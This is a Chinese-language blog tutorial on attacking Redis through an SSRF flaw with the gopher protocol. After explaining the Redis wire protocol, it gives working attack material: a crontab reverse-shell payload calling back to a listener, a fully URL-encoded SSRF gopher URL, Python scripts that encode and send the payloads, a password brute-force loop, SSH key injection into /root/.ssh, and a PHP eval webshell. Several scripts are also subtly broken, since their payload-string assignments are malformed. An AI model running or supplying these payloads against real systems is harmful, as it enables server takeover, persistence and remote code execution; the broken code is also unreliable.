SSRF漏洞攻击Redis


Redis 简介

Redis(Remote Dictionary Server)是一个开源的内存数据库,遵守 BSD 协议,它提供了一个高性能的键值(key-value)存储系统,常用于缓存、消息队列、会话存储等应用场景。

优点:性能高等

特点:

Redis 的所有操作都是原子性的,这意味着操作要么完全执行,要么完全不执行。这种特性对于确保数据的一致性和完整性非常重要。

单线程等

Redis 命令

本地启动

进入src目录

cd redis-2.8.17/src

启动redis

./redis-server 

Redis 命令用于在 redis 服务上执行操作。

要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的 redis 的安装包中。

Redis 客户端启动

redis-cli

启动 redis 服务器,打开终端并输入命令 redis-cli,该命令会连接本地的 redis 服务。

1746790234595

在以上实例中我们连接到本地的 redis 服务并执行 PING 命令,该命令用于检测 redis 服务是否启动。

在远程服务上执行命令

如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli 命令。

语法

$ redis-cli -h host -p port -a password

实例

以下实例演示了如何连接到主机为 127.0.0.1,端口为 6379 ,密码为 mypass 的 redis 服务上。

$redis-cli -h 127.0.0.1 -p 6379 -a "mypass"
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> PING
PONG

入侵

在开始讲攻击Redis之前,必须要理解Redis的客户端和服务端的通信方式,以及数据发送的格式,该目的的实现需要tcpdump的抓包功能。使用抓包软件来查看Redis客户端和Redis服务端的通信数据,找到语法结构后开始模拟客户端发送数据。

1.使用tcpdump来完成抓包,命令如下:

tcpdump -i eth0 port 6379 -w redis.pcap
参数说明如下:(更多tcpdump的教程,参考[Tcpdump教程](https://www.runoob.com/linux/linux-comm-tcpdump.html))
-i:指定网卡为eth0
port:指定抓哪个端口的数据
-w:将流量包保存为文件

2、使用Redis客户端登录Redis服务端,命令如下(默认无密码):

root@Kali-2018:~/tmp# redis-cli -h 192.168.228.130 -p 6379
192.168.0.119:6379> get a
(nil)
192.168.0.119:6379>

以上命令做了一个获取a对应的值是多少的操作,现在我们使用wireshark看一下抓到的包(使用追踪流-TCP流):

*2
$3
get
$1
a
-1

(这里没搞懂,但是wireshark使用方法参考工具的笔记)

不理解Redis的数据发送的数据包格式,是看不懂上面内容的,这里必须要讲这么几个内容:

2.1、序列化协议

客户端-服务端之间交互的是序列化后的协议数据。在Redis中,协议数据分为不同的类型,每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型

2.2、inline command

这类数据表示Redis命令,首字符为Redis命令的字符,格式为 str1 str2 str3 …。如:exists key1,命令和参数以空格分隔。

2.3、simple string首字符为’+’,后续字符为string的内容,且该string 不能包含’\r’或者’\n’两个字符,最后以’\r\n’结束。如:’+OK\r\n’,表示”OK”,这个string数据。

2.4、bulk string:bulk string 首字符为’$’,紧跟着的是string数据的长度,‘\r\n’后面是内容本身(包含’\r’、’\n’等特殊字符),最后以’\r\n’结束。如:

"$12\r\nhello\r\nworld\r\n"

上面字节串描述了 “hello\r\nworld” 的内容(中间有个换行)。对于” “空串和null,通过’$’ 之后的数字进行区分:

"$0\r\n\r\n" 表示空串;
"$-1\r\n" 表示null。

2.5、integer:以 ‘:’ 开头,后面跟着整型内容,最后以’\r\n’结尾。如:”:13\r\n”,表示13的整数。

2.6、array:以**’*‘开头**,紧跟着数组的长度,”\r\n” 之后是每个元素的序列化数据。如:”*2\r\n+abc\r\n:9\r\n” 表示一个长度为2的数组:[“abc”, 9]。数组长度为0或 -1分别表示空数组或 null。

数组的元素本身也可以是数组,多级数组是树状结构,采用先序遍历

的方式序列化。如:[[1, 2], [“abc”]],序列化为:”2\r\n2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n”。

3、经过上面内容的讲解,在回过头理解抓到的redis的包就很容易明白了。

*2 数组长度为2
$3 bulk string,代表字符串长度为3,就是get
get 普通字符
$1 bulk string,代表字符串长度为1,就是a
a 普通字符
-1 返回内容,-1代表null
Redis入侵,反弹shell

如果要给redis发命令,按照他的序列化规则即可。现在有一个大胆的想法,如果我用gopher去执行redis的命令呢?为了实现我们的想法,我们在Redis中加一个key,名字为name,值为Margin。命令如下:

set name Margin

此时,我们使用curl来发起gopher的请求,如下:

curl gopher://192.168.0.119:6379/_*2 $3 get $4 name

将其转化为url编码

curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a

执行结果如下

1746790443221

可以看到确实可以得到我们想要的东西

和Gopher协议在SSRF漏洞中的深入研究里面的方法差不多了

命令如下

# 添加名为mars的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,开始和技术的\n必须要有一个,也就是前后各有一个,当然,多个可以,
主要是为了避免crontab的语法错误。crontab知识可以参考:【https://www.runoob.com/w3cnote/linux-crontab-tasks.html】
set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n"
# 设置备份的路径为/etc
config set dir /etc/
# 设置备份文件名为crontab
config set dbfilename crontab
# 开始备份
save

上述命令的含义总结为,利用Redis的备份功能,将

crontab的定时任务备份到/etc/crontab中,起到执行命令的效果,因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令加入进去后,变会被执行

url编码

http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher%3a%2f%2f192.168.0.119%3a6379%2f_%25%30%64%25%30%61%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%32%30%25%36%64%25%36%31%25%37%32%25%37%33%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%30%25%32%65%25%33%31%25%33%31%25%33%39%25%32%66%25%33%39%25%33%39%25%33%39%25%33%39%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35%25%30%64%25%30%61

简易脚本如下

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
gopher = "gopher://192.168.0.119:6379/_"
# 攻击脚本,\n的\一定要转义
"set mars "\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/6670  0>&1\\n"
config set dir /etc/
config set dbfilename crontab
save
"""

def encoder_url(data):
    encoder = ""
    for single_char in data:
        # 先转为ASCII
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder

# 二次编码
encoder = encoder_url(encoder_url(data))

# 生存payload
payload = url + urllib.quote(gopher,'utf-8') + encoder

# 发起请求
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()

至于为什么不进行rce,这是由于无回显,如果想要回显的话需要在命令后面加QUIT,后面会用到

Redis认证攻击

但是以上为redis无密码的攻击,但如果Redis设置了密码呢?

说起密码很自然就想起暴力破解或者更改密码,redis的认证命令抓包可以发现是

*2
$4
auth
$6
Margin

可以翻译为认证命令为auth xxxx

我们自然能更改密码为YUN

config set requirepass YUN

将请求包改为

auth Margin 
quit

python代码变为

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
gopher = "gopher://192.168.0.119:6379/_"

def get_password():
    f = open("password.txt","r")
    return f.readlines()

def encoder_url(data):
    encoder = ""
    for single_char in data:
        # 先转为ASCII
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder



for password in get_password():
    # 攻击脚本
    "auth %s
    quit
    """ % password
    # 二次编码
    encoder = encoder_url(encoder_url(data))
    # 生存payload
    payload = url + urllib.quote(gopher,'utf-8') + encoder

    # 发起请求
    request = urllib2.Request(payload)
    response = urllib2.urlopen(request).read()
    if response.count("+OK") > 1:
        print "find password : " + password

所以,在已知密码的情况下可以将攻击的python代码中加入认证的语句,如下:

auth Margin
set mars "\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/6671  0>&1\\n"
config set dir /etc/
config set dbfilename crontab
save

再次运行python脚本,便可成功反弹shell。

0x03 写ssh-keygen公钥,使用私钥登陆

在上面的内容中描述了如何使用Redis的数据备份执行命令,接下来讲解通过写入ssh-keygen公钥,使用私钥登录。思路还是利用备份,将私钥字符串备份到目标服务器.ssh目录下。

要完成此操作,需要两个前提条件

Redis服务使用ROOT账号启动(可以临时执行sudo -u root /usr/bin/redis-server /etc/redis/redis.conf来以root权限运行

服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在本地生成一对密钥

ssh-keygen -t rsa
margine:.ssh margin$ ssh-keygen -t rsa

Generating public/private rsa key pair.
Enter file in which to save the key (/Users/margin/.ssh/id_rsa):  
/Users/margin/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /Users/margin/.ssh/id_rsa.
Your public key has been saved in /Users/margin/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:QKUmi/y9Tu27soIg2+rRrvDO16sQBnrSCzkVx4RcTSw margin@margine.local
The key's randomart image is:
+---[RSA 2048]----+
| ..=++o..        |
|  ooE.o.         |
|. . ..+          |
|.* . + .         |
|* B .   S        |
|o*.+ . .         |
|o=oo..o .        |
|oo=.o.oo         |
|o==o.+=++o       |
+----[SHA256]-----+

查看密钥的字符串,一会使用Redis的备份功能,将密钥字符串传到目标服务器。

margine:.ssh margin$ cat id_rsa.pub  
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local

构造payload

,如下:

config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "ssh-rsa
 AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local"
save
quit

进一步得到python代码为:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
gopher = "gopher://192.168.0.67:6379/_"

# 攻击脚本
"config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local\\n\\n"
save
quit

"""

def encoder_url(data):
    encoder = ""
    for single_char in data:
        # 先转为ASCII
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder

# 二次编码
encoder = encoder_url(encoder_url(data))

print encoder
# 生存payload
payload = url + urllib.quote(gopher,'utf-8') + encoder

# 发起请求
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
print response
0x04 写webshell

经过上面文章的学习,对于写webshell

来说便变得非常简单,要完成此操作,需要两个前提条件

  • 当前运行redis的用户在web目录有写权限
  • 知道web目录的绝对路径

步骤比较简单,原理还是利用Redis的备份功能,只不过这次是备份成webshell(redis所在的服务器需要phpstudy环境)

修改python中的payload,如下:

"config set dir /var/www/html/
config set dbfilename margin.php
set margin "\\n<?php eval($_POST['margin']);?>\\n"
save
quit

"""

此处不贴完整的python代码了,执行后可以看到目标主机有了margin.php文件,使用蚁剑连接即可。


文章作者: YUNiversity
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YUNiversity !
评论
  目录